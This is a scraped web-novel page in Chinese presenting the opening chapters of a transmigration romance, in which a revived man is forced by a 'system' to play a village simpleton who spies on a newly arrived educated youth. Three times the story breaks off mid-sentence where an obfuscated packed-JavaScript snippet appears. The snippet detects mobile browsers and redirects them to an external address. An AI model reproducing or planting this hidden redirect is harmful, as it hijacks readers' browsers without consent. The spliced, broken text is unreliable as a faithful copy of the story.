《偏执炮灰竟是我自己[快穿]》 1. 世界一：偷窥隔壁男知青的阴郁小傻子（1） 空无一人的打谷场上，一个身材偏瘦的少年正蹲在地上捡石子玩。 他的身上穿着一件靛蓝色褪色军装，宽大的衣服包裹住他，让蹲下来的他看起来像是一块黯淡朴实的石头。 特别是在这种太阳下山，将暗未暗的天色里，光线太差，更是分不清。 好在周围并没有人，倒不会有人不小心踢到他。 “唉……”他轻声叹了口气，声音轻浅。 之后便是长长的沉默。 凑近了看，他的脸颊两侧还带着些肉，明明第一印象是吃不饱的样子，没想到细看倒还被养的不错。 只是，这人的眼神呆滞无神，手上还沾着泥便蹭在脸上，将本来白净的脸弄得像叫花子似的，让人看了就能觉出不正常来。 也确实不正常。 他叫程尔，村里人叫他小傻子。 确实是真傻，不然也不会天黑了不知道回家，先前跟他一起玩耍的小孩子们都跑回家吃饭了，他一个人被落在这里。 此刻，程尔呆滞了几秒，眼神突然又聚焦起来，他将手里的石子扔远，在心里默默出声：“系统，别让我演傻子了行不？” 系统满口答应：“好好好，下个世界保证不是傻子了，宿主。这个，这个你都已经来了，来都来了，先演着吧！” 程尔十分无奈。 他原本是蓝星上一个刚毕业的社畜，上了半年班早已心如死灰，还以为日子会就这么无望地继续下去。 没想到一个普普通通的上班日，他搭乘公交车上班，居然遇到了连环车祸。 可以说是英年早逝了。 程尔十分无奈，他还没过上他想要的生活呢，怎么这么年轻就死了？ 他十分怨恨命运，在心里破口大骂。 可能也是因为这样，在他彻底失去意识之前，系统找上门来了。 系统说可以复活他，只要他进不同世界扮演别人完成剧情就行，还可以顺便发泄情绪。 程尔当然答应了，常年看小说，他还能不知道系统是金手指吗？ 而且这不就是剧本杀吗？ 程尔觉得他还是很会玩的，于是，他就愉快地跟系统签订了合约。 等他到了第一个任务世界，他才认真读了一遍资料。 不对？这剧情咋怪怪的？ 这是一本年代文，主角受陆执墨被家里送来乡村，在这里他遇到了退伍回来的主角攻闫年，两人在乡村定情，后又一路纠缠，到最后回到城市创业，抛去中间的虐恋不说，也算是幸福结局。 而他，则扮演了一个前期毫无存在感的炮灰，在原著里连个大名都没有，可以说前前后后没活过三十章。 但是，这个炮灰和普通炮灰还真有点不一样： 第一，他不是正常人，他是个小傻子，爹不疼娘不爱，只有一个年迈的爷爷管他。 第二，他是个变态，字面意义上的变态，自从天仙似的陆执墨来了村里之后，他就看上了人家，傻子也不懂什么叫控制，天天偷窥别人，连洗澡都不放过。 程尔真的想撕约，他虽然是抱着来发泄的心情做任务，但不代表他喜欢当这种偷窥狂啊！他又不是变态！ 而且，这种设定在剧本杀还好，也就几行字，可是，放到现实，他可是真的要去偷窥别人啊！他真没这个癖好！ 更何况，虽然他常年混迹在网上连耽美动漫都毫无压力地看了几部，但他本质上还是个直男，怎么一下就给他送到耽美小说世界来了？ “系统，你这世界是随机选的吗？为什么给我送到耽美小说里了？我是直男啊！”程尔看完资料手都在抖。 系统：“是随机抽取的，不过宿主，你怎么知道你是直男的？你不是牡丹吗？” 程尔被噎了一下，内心愤懑，表情倒是一如既往：“你什么意思？牡丹跟性取向有什么关系？” 系统沉默一秒，出声说：“首先，直男不会看耽美动漫。” “什么意思？”程尔吸了口气，“我是误入的好吗？” 系统：“误入的直男不会看完，更不会看完一部再看一部……” “停停停，”程尔无奈，“跟你这种机器人没什么好说的，你又不懂人类。” 系统：“我不是机器人，我是人工智能。” …… 两人的争吵告一段落，还是改变不了程尔要继续在这个世界完成任务的事实。 此刻程尔蹲在这里，就是为了完成他的第一个剧情。 “系统，我真要去啊？不去行不行？”程尔不甘心地继续扔石头，动作机械又呆滞。 他真是没办法，谁让他来到这个世界扮演的就是一个炮灰小傻子呢…… 这个身体好像也是他自己的，不过像是他十八岁的样子，那时候他还没长开，脸上还有脸颊肉，看着确实有点呆萌。 演傻子倒是真有点像，不过程尔是不会承认的。 “宿主，必须去，关键人设不遵守会被惩罚的，你也签了合同了，到时候我也帮不了你。” 系统顶着个黑乎乎的墨镜在程尔头顶飞来飞去，虽然，它只是个光球，但是这样真的容易吓到人，还好只有程尔能看到。 “下次再也不不看合同就签约了，呜呜呜……”程尔在心中假嚎了几下，脸上什么表情都没有。 他站起来往村头的那条河走去。 系统安静地跟在他后面，像个假气球。 “系统，如果完不成惩罚是什么啊？”程尔走在土路上，一边踢着石子，情绪不高，这会儿夜幕四合，到了吃晚饭的时候了，没几个人还在路上。 虽然，就是有人也不会跟程尔打招呼，他是十里八村有名的傻子，大家都知道他不爱说话。 这也是扮演傻子的唯一好处了，让程尔这个社恐i人不用到处认人。 “宿主，会被雷劈哦！你这个人设最重要的部分就是偷窥了，别的地方ooc了我还能帮你糊弄糊弄，这个真不行。” 系统也颇为无奈，它确实是把程尔忽悠来了，但它也没想到有人一个字合同都不看就敢签。 他们星际联盟还是守法的，给了每一位宿主足够的时间阅读条款。 “这么狠！”程尔被吓了一跳，“那把我劈死了怎么办啊？” 系统冷漠回答：“你死了还有人接着干呢！” 程尔瞬间无语：“咱俩混了一天了，你是一点感情都没有啊？” 系统转了个圈，小胖球戴着墨镜上下晃荡：“怎么没有？我不是在苦苦劝你做任务保住小命嘛！” “合着你的努力就是动动嘴皮子啊？”程尔无奈了，他还是太年轻了，刚毕业工作了半年，实习期都没过就死了，不懂得合同是个大坑，可现在后悔已经为时已晚。 系统转了一圈，又说：“快点吧宿主，你再犹豫赶不上了，真要被劈，很痛的哦！” 程尔憋屈得很，还只能迈着腿往河边跑，谁想被雷劈？反正他不想…… 就是再死一遍，也不能死的那么痛苦吧？ “程尔呐，这么晚了还去哪玩啊？你爷在家等你吃饭呢，快回家去吧！”对面的土路远远走过来一个扛着锄头的大叔，对着程尔说道。 程尔抬头看了一眼，一言不发，继续向前走。 那人也似乎习惯了程尔这样子，路过的时候也没停下，只叹了一声：“这孩子！造孽哦……” 他将锄头放在地上磕了几下，又扛起来，对着程尔的背影摇摇头走了。 程尔目不斜视，呆滞地盯着路向前走去，心中长叹一声。 这个身份虽然在原著里只是个促进主角感情的炮灰，着墨并不多，不过，程尔还是隐约感觉出来了。 作者想写的大概是个自闭症的孩子，现在直面他的人生，确实身世很凄惨。 如果在抖上刷到程尔可能还会掉两滴眼泪，可惜，现在由他本人来扮演这个角色，他真是同情不出来。 只剩下一声苦笑。 “宿主，你快点吧，赶不上剧情了！”系统十分机械，只知道催促他。 “知道了，知道了。”程尔内心悲愤，但还是加快了脚步。 对于这个主角受陆执墨，程尔今天才穿过来，其实并没有真的见过。 按照剧情资料，原著里的程尔应该是在昨天陆执墨住进他家隔壁的时候，站在墙根惊鸿一瞥见了陆执墨一次，自此一见钟情，喜欢得毫无遮拦。 可能是因为第一次见面的剧情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265341|198094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过简单，就几秒钟而已，也不需要有什么互动，所以，系统直接给他跳过了。 给他的第一个剧情任务就是傍晚去偷窥陆执墨…… 至于原剧情里的程尔为什么会知道陆执墨在哪里，因为村里只有一条河，想擦洗就只能去那里，所以知青们大多都会去河边洗澡。 这会儿天气还很热，不可能浪费柴火烧水的，哪怕陆执墨看起来不像是缺钱的，但都到了村里了，也不可能大搞特殊。 程尔跑了半天，脸上已经沁满了汗。 他身上的衣服是早上出门时爷爷给他穿上的，可傻子不懂冷热，也一直没脱掉。 程尔倒是想脱衣服，可系统警告说他不能表现的太聪明。 也是服了…… “你下个世界再让我演傻子，我就不玩了！”程尔在心里抗议。 系统忙不迭应声：“我发誓！这种人设也没有那么多的，宿主你放心好了。没事没事，走完这段剧情就好了，到河边了，宿主你加油，看你表演了！” “那你闭嘴，别影响我。”程尔说。 光球倏地消失，十分听话，看来时间是真要来不及了。 程尔也不说话了，按照原剧情的提示，河岸边有一片野竹林，他得先找到。 他沿着河岸走着，可惜河岸两边的野竹林实在太多，没办法作为指示标，程尔只好看向河边，寻找着陆执墨的踪迹。 根据原著资料，陆执墨是个很注重个人空间的人，所以，他没有去大家常去的人工铺设了很多石板的地方。 而是一个人寻找到了一个僻静的河湾处，岸边有一颗生长到河面的歪脖子树，可以稍作遮挡。 这会儿天还没完全黑，河边多是男人，女人们大多要入了夜才好意思来，大家也差不多都有了错开时间的默契。 陆执墨虽然也要隐私，却也只能随大流在这个时间点来河边。 程尔的目光掠过河边欢笑打闹的男人小孩，顺着河岸向前搜寻。 终于，在土路快走到尽头时，程尔发现了那片野竹林下的歪脖子树，顺着仔细看去，果然，歪脖子树上挂着一件蓝色衬衫。 程尔停了下来，倒是没有多慌张，毕竟他早已熟知剧情，前期他是不会被抓住的。 既然知道不会被抓住，那做坏事的紧张感便消除了一大半。 他钻进野竹林里，走到了河岸边上。 竹子是很好的遮挡物，程尔能看到外面，外面不注意却不会想到竹林里藏着个人，这也是程尔这个傻子一直没被人发现的原因。 “呼……”程尔深吸了口气，开始执行任务，拨开竹林向歪脖子树那边看去。 那边果然隐约传来水声，看来陆执墨已经开始洗了。 不过，这个角度好像将他挡的严严实实，程尔只能看到水面荡开的波纹。 程尔很想糊弄过去，在心里问系统：“系统，这样算完成任务了吗？” 系统冷声回答：“宿主，你这连面都没见到，怎么算完成呢？” 就知道不行…… 程尔也没多说，扶着几根竹子向前挪了几步，换了个角度。 野外的竹子杆上全是灰，程尔嫌弃地拍了拍手，却突然警觉起来。 拍手的声音好像有点明显…… 他抬头向外看去，寂静的河边，水声已经停止。 程尔不自觉屏住了呼吸。 戴着金丝眼镜的男人光着上身笔直地站在河中，腰以下的部分全部浸在河水里，他似乎发现了什么，扶着眼镜往这边的方向看过来。 明明中间隔着不近的距离，程尔连他的五官都没看太清楚，可不知为什么，他就像感觉到了对方那锐利的视线似的。 也许是做贼心虚，程尔根本不敢细看，蹬着腿后退了几步，忙不迭地用手撑着地向后爬。 系统却在这时提示道：“恭喜宿主，第一个剧情任务完成了！” 程尔此刻却没心情理它，只屏住呼吸往河堤的方向爬。 就在他快要爬出去的瞬间，河那边却远远传来一道清晰温润的男声：“谁在那里？” 程尔动也不敢动，指甲都扣进土里了，泥里还带着太阳的余热，他咽了下口水，心跳如擂鼓。 2. 世界一：偷窥隔壁男知青的阴郁小傻子（2） “没看到我，没看到我，没看到我……” 不是吧？他这么衰？第一次就被抓个正着吗？ 剧情失败了会有惩罚吗？ 程尔僵持在那里，一时之间不知道该怎么办才好了。 “别念了宿主，他没发现你。”系统此时出声提醒道。 程尔终于松了口气，撑着手臂爬上了河堤，也不敢拍手上的土，顺着小路就跑远了。 “宿主，你跑路速度倒还挺快的……”系统在他耳边吐槽道。 程尔的刘海被吹起来，脸上面不改色：“那是，我练过的。” 过了好久，程尔才放慢了速度，喘了口气问道：“系统，我要是被提前抓住了会有惩罚吗？” “会啊，你被抓住可是关键剧情，所以你以后一定要小心点，就算被发现了也要找个理由糊弄过去，反正，不能被抓到现行。”系统说。 “太难了……”程尔叹了一声，才终于有心情在村口的小沟旁边洗了个手。 他还没洗好，就听到身后来了个喊他的声音：“尔啊，回来吃饭，你跑哪去了？爷到处找你找不着！” “来了爷爷。”程尔甩干手上的水珠，从石板上跳了上去。 “你这又去哪玩了？一身的灰！”爷爷蹲下身子拍打着他身上的土，又顺势把他身上的军装外套脱了下来，“满头汗不晓得脱衣服，爷教你多少遍了！” 程尔有些难以招架这个老人的热情，他自己的爷爷奶奶在他很小的时候就去世了，他其实没什么记忆。 他什么话都没说，只是站在那里任由老人拍打他身上的尘土，夕阳余晖中，飞扬的尘土很快没入黑暗中。 老人似乎也习惯了他这样不回话的状态，没在这里纠结多久，很快拉着他往前走：“尔啊，爷今晚给你蒸了鸡蛋羹，你爱吃的，咱快回家去。” “嗯。”程尔点头，他倒是遵从了程尔的人设，如果听到他愿意回的话，程尔也是会回应一下的。 说到底他不是真的傻。 不过，在老人眼里，也没那么多名堂，他只知道他去了之后，程尔这样一个人不晓得冷热，不知道要怎么生活。 这事压在程老汉心头，根本不能不去想，以至于他总是莫名看着程尔就忧虑起来。 程尔不懂老人的心思，只安静地跟着他，十分乖巧。 “哟，尔娃找到了？” 快到家了，附近的人家看见爷俩，顺嘴问。 也是听到程老汉一路喊人了。 程老汉这才停下思绪，笑了一下，应道：“不知道跑哪滚了一身土，还知道回来，在水沟洗手呢！” 孙子偶尔的聪明他也记在心里，有意无意地炫耀。 对面也给面子，笑道：“尔娃变聪明了！好事！” “是好事！” 一路笑着回了家，爷爷终于松开了他的手。 程尔松了口气，有些不自在地在饭桌前坐下。 他倒是想去帮忙，可老人根本不信他，早上的时候就把他赶出来了。 他也就不去讨嫌了。 很快，老人将锅里热着的饭菜重新端出来，给程尔盛了一大碗饭，大半的鸡蛋羹盖在了上头。 程尔见老人碗里就几根豇豆，实在过意不去，沉默地舀起几勺蛋羹往他碗里放。 “爷爷吃。”程尔开口。 老人很快笑了出来，也不拒绝：“好好好，爷知道吃，我尔长大了，懂事了，聪明着呢！” 程尔没再回应，过犹不及，心里却有些不是滋味。 虽然知道这里只是任务世界，可这一切都太真实了，他根本没办法只把老人当做书里的人物。 想到原书里程尔还被原著攻找人抓起来了，老人哭着求了半天才让他们把程尔放回来。 程尔心里十分不是滋味，他握住左手手腕上的银镯子，失神地转着圈。 “吃啊，尔啊，想什么呢？”爷爷开口打破了他的思绪。 “嗯。”程尔将手放回碗上，开始埋头吃饭。 算了，他想这么多也没用，反正他只要完成任务就行了，到时候任务结束了，他再好好想想怎么挣点钱给爷爷。 而且他的剧情就那么几章，应该很快就结束了。 想到这里，程尔又稍微放松了一些。 吃完饭之后，爷爷阻止了他要帮忙洗碗的动作，跟他说：“爷烧了热水，把你那脏衣服换下来洗洗。” “噢。”程尔点头。 程尔基本的生活自理还是会的，毕竟都已经学了这么多年了，爷爷细致地教了一遍又一遍。 在家里洗澡需要把大澡盆拿出来，程尔本来不是很习惯，但系统给他发了原主的记忆，他只要查看就行，倒是不会因为这些细节ooc。 虽然很不习惯这样洗澡，但程尔也知道，这会儿能天天在家洗热水澡已经是爷爷疼他了。 他也能想到是为什么，爷爷没办法天天陪他去河边洗澡，怕他一个人去会掉到河里。 更何况，程尔去那种孩子多的地方，总是被欺负的那个，有意无意的，爷爷也让他少去了。 虽然程尔傻感觉不出来，可老人心里总是难受的。 程尔洗完澡出来，随便穿了件白色棉T恤和黑短裤。 爷爷昨天给他准备的是老头衫，他实在穿不惯，今天自己拿了短袖。 “拿着挂你屋窗头，别晚上又被咬了。”爷爷将点燃的艾草递给他。 程尔接过去默默放好，又听到爷爷叫他。 “尔啊，隔壁昨天来的小陆同志怕是没什么吃的，爷今天摘了点菜，你给人家送去。” 程尔愣了一瞬，一时没想到会从爷爷嘴里听到陆执墨，毕竟他已经强迫自己忘记刚才的丢人事迹了。 “喏，拿着，记得叫人，就叫小陆哥。”爷爷见他不出来，直接拿上篮子来房间找他了。 程尔愣愣地接过了一筐菜，低头看了一眼，都是些自家种的豇豆黄瓜白菜什么的。 “去吧，人家从城里来的，有文化，住的近，你没事多跟他说说话，别跟村里小虎他们满山跑了，他们也不乐意带你玩。”爷爷将他连拉带送推到了门口。 虽然很能理解爷爷的心思，但程尔还是有些惊讶。 “系统，原著里有这个剧情吗？”程尔好奇地问系统。 系统也很奇怪：“没有，可能是你穿越过来有变化了？哎呀，反正你没ooc就行，别的我也管不了那么多了，还得给你留点演戏余地呢，我肯定不能抓那么紧。” 程尔沉思片刻，开口：“系统，打分是你来的话，你就不能给我开点后门吗？” “你以为我没开吗？”系统又开始在黑暗中晃荡，“我已经很努力了宿主，每次都是贴着审核边的。” “好吧，好吧……”程尔有些苦恼，爷爷已经进屋做他自己的事了，倒是放心…… 程尔低头看了一眼手里的菜篮子，叹了口气说：“系统，也就是说，我现在不去也行？” “对啊，在我这里，你明天才有第二个任务。这个任务又不是我发的，你不做也行。”系统回答。 “唉……还是去吧……”程尔迈开了步伐，“爷爷一片好心，我也不能直接拒绝吧……反正，反正你说过刚才他没看到我，我就是个普通邻家小孩，怕啥！” 程尔一边走路一边安慰自己，再三跟系统确认，陆执墨傍晚的时候真的没看到他。 这会儿知青其实也没有单独的房子住，只是管陆执墨住的这家人给他安排的房间离主屋比较远，中间有个院子，偏房倒是离程尔家近一点。 程尔没多久就走到了，他象征性地敲了敲木门。 “来了。”门很快被打开，披着黑色外套的男人推开门，举起了手中的书递过来。 “不是，我，我是隔壁的。”程尔见他认错了人，忙把手里的篮子递到身前，“爷爷叫我送菜给你。” 想起爷爷的嘱咐，他又补了一句：“小陆哥。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人背对着他收拾菜，程尔有些无聊，一边转动着手腕上的银镯，一边将视线转到旁边的桌子上，他记性很好，男人刚才塞进去的那本书，应该是一本《宋词选》。 只是现在书脊上没有写名字，不知道到底是哪一本。 桌上倒是还摊开着一个笔记本，不过程尔看了几眼，都是些回到大学政治思想课的内容，他不太感兴趣。 男人的笔迹倒是很好看，抄写的文字很整齐，像是印出来的一样，要不是墨水没干，程尔都没看出来是刚写的。 “小尔想学认字吗？”陆执墨放好了菜，见他盯着书桌看，笑着问了一句。 两人距离近了些，程尔社恐病要犯了，更何况，他这会儿还瞥到了桌子上放着的金丝眼镜，一股不好的回忆不受控制地涌上来，程尔更不好意思开口了。 他低下头，只默默看着脚尖，捏着手腕上的银镯不动了。 陆执墨似乎也听说过他的情况，没有因为他的不礼貌而生气。 等了几秒，他也只是将手里的篮子递给了程尔，笑着说：“小尔要是想认字，就过来找我。” 程尔伸手接过菜篮子，依旧不语。 他抬起头，正想转身跟陆执墨说他要回去了，陆执墨却像是发现了他的意图似的，拍了下他的肩膀，道：“你等等，小尔。” 程尔只好再次停下。 很快，陆执墨打开抽屉翻了几下，而后拿起来程尔的手，往他手心悄悄放了些东西。 程尔正要打开看看，陆执墨却笑着按住了他：“小尔回去再看。” “哦。”程尔应了一声，转身离开，停了一瞬，又回头，“再见，小陆哥。” 见面和分开的礼节爷爷强调了几百遍，原著的程尔机械化的学会了。 程尔当然也没有刻意不说，他只是有些好奇手里的是什么东西。 陆执墨跟在他后面，把他送到了大门口，才笑着朝他挥手：“小尔，明天见。” “嗯。”程尔也对着他挥挥手，心里倒是没那么紧张了，陆执墨长得优越，但人看起来脾气挺好的，应该是个好相处的人。 程尔一路跑着回了家，爷爷在堂屋里点了灯，正等他回来。 “回来了？”爷爷接过他手里的篮子。 “嗯。”程尔应了一声，捧着手心凑到了离灯更近的地方。 他摊开手心，银白的包装纸闪着五彩的光，陆执墨给他的原来是——三颗糖。 3. 世界一：偷窥隔壁男知青的阴郁小傻子（3） “这哪来的？”爷爷也凑近了一些，仔细看了看，“这可是好东西，小陆给你的？” 程尔点点头：“嗯。” “收着吧！留着慢慢吃。”爷爷摸了摸他的头。 程尔收起了手，糖纸在他手心刺啦作响。 他抬头看向爷爷向他摊开手心：“爷爷吃。” “爷爷不吃。”爷爷摸了摸他的头发，笑着摇了摇头。 程尔还想再说些什么，爷爷已经转身去关门了。 算了，明天再吃吧…… 程尔将糖收在了口袋里，这种彩纸包装的糖他倒是几百年不吃了，也就很小的时候吃过，作为一个现代人，这种东西他还是不馋的。 但是爷爷就不一定了，他要给爷爷尝尝。 第二天，爷爷还是没拗过程尔，在他们吃完早饭要出门的时候，两个人一人吃了一颗糖果。 糖精的甜味蔓延在舌尖，程尔微微皱眉。 现代人已经很少吃这种甜的吓人的东西了，更何况他一向不爱吃甜食，连奶茶都很少喝，最爱是冰美式。 说起来，还有点想念冰美式呢，这会儿正是夏天，太阳一出来，哪怕才早上都热的很。 今天爷爷没有给他穿外套，怕他自己不会脱。 爷爷去地里干农活了，按照往常，程尔该去打谷场的空地找孩子们玩了。 这年头的物质条件实在匮乏，也没什么好玩的。 他其实本来想跟爷爷一起去地里的，可爷爷说他帮不上忙，怕他过去还要照顾他，便让他自己找地方玩，别跑远。 原来的程尔经常玩的地方也没几个，不是在门口玩石子，就是去打谷场和孩子们一起玩。 其实程尔跟他们压根不在一个年纪，本来应该玩不到一起去的。 奈何程尔喜欢新奇的东西，小孩子们家里总有些玩具，会带过来一起玩，程尔眼馋，也不懂，便只会傻傻跟着。 就这样，当然会被机灵的几个小鬼欺负，因为程尔实在是打不还手骂不还口，还不会跟家里告状，实在是一个完美的欺负对象。 “系统，我在家躺尸不行吗？”程尔实在不想去跟小孩混。 系统：“可是，这样就ooc了啊，况且，你今天还要做任务呢……你可以晚点去，但不能不去……” 程尔叹了口气，没事干的他把程尔房间里的东西都整理了一遍，扔了一堆奇奇怪怪的石头，桌上的东西本就少的可怜，这会儿显得更空旷了。 这么大的桌子，练字应该很爽。 程尔漫不经心地撑着头，突然想，这里实在太无聊了，连本书都没有的看，或许可以去找陆执墨借一本？ 转念一想，他现在的人设是小文盲来着，只好再叹一声。 “好吧，反正也是无聊，出去逛逛吧！” 程尔站起了身，将兜里剩下的那颗糖掏了出来，放进了抽屉里。 那里有一个不知道原来是装什么的铁罐头，里面的石头被程尔倒了，现在，铜黄的底部躺着一颗彩纸糖。 程尔将盖子盖上，关上了抽屉。 外面空气倒是挺好的，这会儿大人们都上工去了，程尔一路上走着，只听得到自己走路踩在地上的沙沙声，颇有一种旅游的感觉。 走到打谷场附近，已经能隐隐约约听到小孩子们玩耍的声音了。 程尔有些头大，他租房附近就有个公园，每到周末都会有来玩耍的小孩子们，声音如出一辙。 只不过那个时候，他可从来不会想要去加入他们。 “系统，我自己在旁边玩行不行？”程尔问。 “行……”系统勉为其难地应了。 程尔松了口气，在旁边找了块石头蹲下来，看着不远处的小孩子们玩滚铁环的游戏。 他没有想过去的想法，那边的小孩子们反而发现他了，正跟着一个领头的小男孩往这边走过来。 程尔看到那么多小豆丁往自己这边来，社恐发作，赶紧站起身来转头就跑。 “喂！傻子！你去哪？” 身后还传来小孩子们的声音，程尔却脚步不停，不行，他还是突破不了，人太多了，他有点恐人了…… “宿主，你也太逊了吧……”系统在脑海里吐槽他。 程尔理都不理，跑到一个小山坡上，转头看到小孩子们没有跟过来他才松了口气。 山坡迎面吹来一阵风，程尔站在一棵松树下面，冷静了好几秒。 过了很久，他终于跟系统开口：“系统，你帮我查下主角在哪呗……我还是早点把任务做完早点回去吧！” “行！马上！”一听他要做任务，系统倒是积极得很。 程尔看着山下的草地，莫名感到一种悲哀。 身不由己啊…… 可是怎么办？他还是很想复活，他卡里还有他好不容易工作半年存的三万多块钱呢，都还没用完，怎么甘心就这样死掉…… 任务！做任务！ 系统出声道：“宿主，我看了一下，陆执墨在那边的田里干活呢！咱们现在就去吧！出发！” 程尔无语地看着系统给出的高科技亮蓝色标点，深深叹了口气。 “走吧……”他对自己说。 日子总得过下去不是？ 不过很快，他就没有感叹人生的心思了。 因为田地里辛苦劳作的人实在太多，显得他这个无所事事的闲人的抱怨像是无病呻吟。 至少他现在扮演一个小傻子什么都不用做，还不用像正常人游手好闲那样被批判，田间地头的人们对他都十分友善，还会告诉他爷爷所在的位置，还有让他小心不要掉田里去的。 程尔哪怕社恐，也没办法辜负他们的好意，都点头应下了。 只是他这会儿并不打算去找爷爷，又怕被人看到，干脆绕到最外面，走了个大圈，这才在一颗树下面停下了。 根据系统给的任务，他要藏在这颗树后面看陆执墨干活一个小时，也是相当痴儿了。 不过好歹比看洗澡道德点，程尔倒是没有昨天那么窘迫了。 他找了个地方蹲了下来，看向不远处劳作的人们。 陆执墨混在其中，其实并不突兀。 按理说他这种才来的知青，刚开始应该是很不习惯的，干活自然也利索不到哪里去。 可陆执墨像是那种学东西很快，做什么都做的很好的人。 他的手里拿着一把秧苗，干脆利落地一排排按入土中，动作一点也不像新手，挺像那么回事的。 至少在程尔这种半吊子水平的人看来，和旁边的其他人相差不大，速度也没拉下，反而插得十分整齐，让程尔这个强迫症非常舒适。 程尔盯了一会儿，百无聊赖地转起了手腕上的银镯：“系统，我就这么干看啊？也太无聊了，他们连话都不讲。” “不然呢，”系统也无奈，“你现在演的是痴情炮灰，就算没有人家原著的真情实感，你好歹把动作演出来吧？我对你已经很不严格了，宿主。” “行行行，我演。”程尔在地上揪了根草，无聊地绕在食指上。 不远处的陆执墨终于不再保持着弯腰的姿势，他用田里的水洗了下手，而后走到旁边，拿起田埂上的茶碗喝了几口。 程尔突然笑了一下。 因为陆执墨拿碗的姿势很像品茶，喝起来也小口小口的，跟这个环境有些格格不入。 倒是看出来他应该是个很喜欢喝茶的人。 只是连喉结滚动的弧度都非常轻缓，跟旁边的那些为了解渴大口咕嘟像河马似的汉子们形成了鲜明对比。 难怪是主角受呢，气质确实太不一般。 只是没看多久，陆执墨又放下杯子继续回去干活了，同样的默剧看的程尔都要打哈欠了。 他又不是那种看帅哥能下饭的人，陆执墨就是长得再好看这么盯着他也觉得无聊了。 唉，理解不了能看一个人看那么久的人。 果然是只有傻子才能做到吧？ 程尔叹了一声，在心中问道：“系统，还有多久啊？你就不能跟我说说话吗？要不给我讲个故事？” 系统对他也很无奈：“宿主，还有半个小时呢……你执行任务的时候我不能打扰的，这是我们的工作守则。” “你们还有工作守则？”程尔好奇问道。 “当然有，不能跟你说。”系统回答。 系统倒是守规矩，讲完这句之后无论程尔再怎么叫他也不理他了。 程尔只能百无聊赖地继续放空，盯着陆执墨垂下的刘海失神，脑子里自己哄自己，开始把系统面板上的资料看了一遍又一遍。 最后得出一个结论：文字和现实还是有差别的。 根据他和陆执墨仅有的接触，他感觉陆执墨是个挺理智的人，其实想象不出来他跟人谈恋爱的样子，还是受…… 这让程尔对那个攻都有点好奇了…… 就在程尔漫天胡思乱想之际，系统的提示音终于响起： “宿主，任务完成了，时间到了。” “太好了！”程尔笑了出来，马上站起了身，将手里草根全都丢掉。 终于能回去了…… 程尔吸取了上次的教训，这次忍着没有发出声音，偷偷摸摸地从树后面绕回去了，他回头看了一眼，陆执墨没有发现他，只是低头擦了擦额头上的汗。 嗯，看来城里人体力还是不行，他好像累了…… 程尔没有多停留，加快了脚步离开。 正要回去的时候，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265343|198094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎面碰到了一群不速之客。 “喂，傻子，你怎么一个人在这里？” “对啊，你今天怎么不跟我们一起玩了？” “你在这干什么呢？” …… 小孩子们七嘴八舌地把他围了起来，很快吸引到了田里干活的人的注意。 程尔有些着急，被陆执墨发现了怎么办？他可刚干了心虚的事…… 他没想跟他们纠缠，干脆直接穿过人群的缝隙走了过去。 他根本没有想那么多，只想离开这个是非之地。 可程尔没有想到的是，他想走，小孩子们却不干了。 中间那个带头的有些微胖的小男孩直接追上了他喊道：“喂，傻子，你干嘛不说话啊！你没看见我们吗？” “就是就是，真没礼貌！” “都说了是傻子了，人家不会讲话！” “哈哈哈哈哈……” …… 程尔内心毫无波澜，他怎么会跟一群小孩子生气呢？虽然他们都是一群熊孩子。 可以预见以前的程尔是怎么被欺负的了。 难怪爷爷让他去跟陆执墨玩，少跟他们一起。 爷爷看了会不舒服吧……还好爷爷现在不在这边。 程尔叹了口气，大步流星地往前走，根本不回头看一眼。 没想到那群小孩子们却不依不饶地追了上来，眼见程尔腿长走太快追不上，竟然直接要拿石头扔他。 程尔听到身后的破空声，身体反应极快，肩颈肌肉瞬间绷紧又放松，脚下步法一变，那颗石子便擦着裤腿飞了过去。 他停了下来，垂在身侧的手指指尖几不可察地蜷了一下，那是练拳起势前的习惯。他深吸一口气，在心里默默发问：“系统，我真的不能教训一下他们吗？” 这群熊孩子！扔石头有点过了吧？ 他的脸上面无表情，但确实有些生气了。 系统沉默了一瞬，说：“这个……宿主，原著里程尔在被欺负狠了的时候，有过激烈的肢体反抗记录，虽然很少且很快被压制。所以……只要你别打得太过分，表现得像反击，我可以不判你OOC。” “行。”程尔转了个身，面对面看着被小胖子带过来的一群小孩子。 “傻子，你干嘛这么看着我们？怎么？你还想打我？” “长那么大的个儿有啥用，就知道吃喝玩乐，我爷爷说了，这种就是废物，只知道吃白饭啥活都不会干……” “傻子生气了，你看他一直瞪着我们呢！” “咋啦？你还真要打人？”小胖子一步一步地走到程尔面前。 见程尔只盯着他不说话，他感觉有些瘆得慌。 他只觉得眼前的傻子眼神里装满了一些他看不懂的东西，跟平时那混沌失神的眼神好似有些不一样。 他一时有些气不过，竟直接一拳打了上去。 小胖子本以为傻子会像之前一样呆在原地傻傻的挨打。 可他没想到，这次他的拳头还没挨到傻子的身，傻子竟极为灵活地侧了个身，让他一拳挥了个空。 不仅如此，傻子竟还又接着躲过了他好兄弟小虎和林子的拳头，简直奇了怪了。 小胖子不信邪，又重新重重地挥拳过去。 